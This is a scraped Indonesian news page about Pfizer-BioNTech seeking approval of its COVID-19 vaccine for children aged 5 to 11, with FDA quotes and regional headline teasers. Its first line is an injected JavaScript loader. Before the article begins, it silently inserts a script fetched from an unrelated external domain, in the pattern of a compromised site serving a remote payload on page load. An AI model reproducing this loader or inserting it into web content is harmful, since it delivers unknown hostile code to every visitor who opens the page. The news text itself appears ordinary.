(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Vaksin Pfizer-BioNTech, hasil kerjasama Amerika dan Jerman, sedang mempersiapkan perizinan untuk bisa digunakan pada anak usia 5 tahun dalam beberapa minggu yang akan datang.
Kabar ini diumumkan menyusul setelah sekolah-sekolah akan kembali dibuka di seluruh Amerika Serikat (AS), di tengah lonjakan tajam kasus rawat inap anak, akibat merebaknya virus corona varian delta yang sangat menular.
“Dalam beberapa minggu mendatang kami akan mempresentasikan hasil penelitian kami, pada anak usia 5 hingga 11 tahun di seluruh dunia, kepada pihak berwenang, dan mengajukan persetujuan vaksin untuk kelompok usia ini, termasuk di Eropa,” ujar Dr. Zlem Tureci, Kepala tim dokter sekaligus salah satu pendiri BioNTech, mengutip Live Science, Sabtu (11/9/2021).
Bahkan menurut Teruci, pihaknya sedang menyiapkan fasilitas produksi vaksin Pfizer-BioNTech untuk kelompok usia 5 hingga 11 tahun.
Baca juga: Gerai Vaksin Presisi Polda Kalsel Terus Berlanjut
Jenis vaksin yang diberikan sama seperti yang diberikan pada orang dewasa, namun dosis yang diberikan cenderung lebih rendah dari yang diberikan pada orang dewasa.
Saat ini, sudah banyak anak berusia 12 tahun ke atas yang diizinkan untuk menerima vaksin Pfizer-BioNTech di AS.
Sayangnya, vaksin lainnya yang sudah ada di AS, yakni Moderna dan Johnson and Johnson, belum dapat persetujuan untuk digunakan pada anak usia 12 tahun ke atas.
“Setiap keputusan terkait vaksin selama pandemi Covid-19, termasuk juga evaluasi data penggunaan vaksin Covid-19 untuk anak tidak mengambil jalan pintas,” ujar Komisaris BPOM AS, FDA Dr. Janet Woodcock dan Direktur Penelitian FDA Dr. Peter Marks.
Dalam keterangannya, FDA juga menjelaskan, hingga pihaknya menyetujui dan pengesahkan penggunaan vaksin pada anak yang lebih belia, diingatkan untuk tetap menggunakan masker dan melakukan tindakan pencegahan lainnya saat berinteraksi dengan anak usia di bawah 12 tahun.
“Sehingga kita tetap bisa melindungi mereka sebelum mendapatkan vaksin,” tulis FDA.(Suara.com)
Editor: suara
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.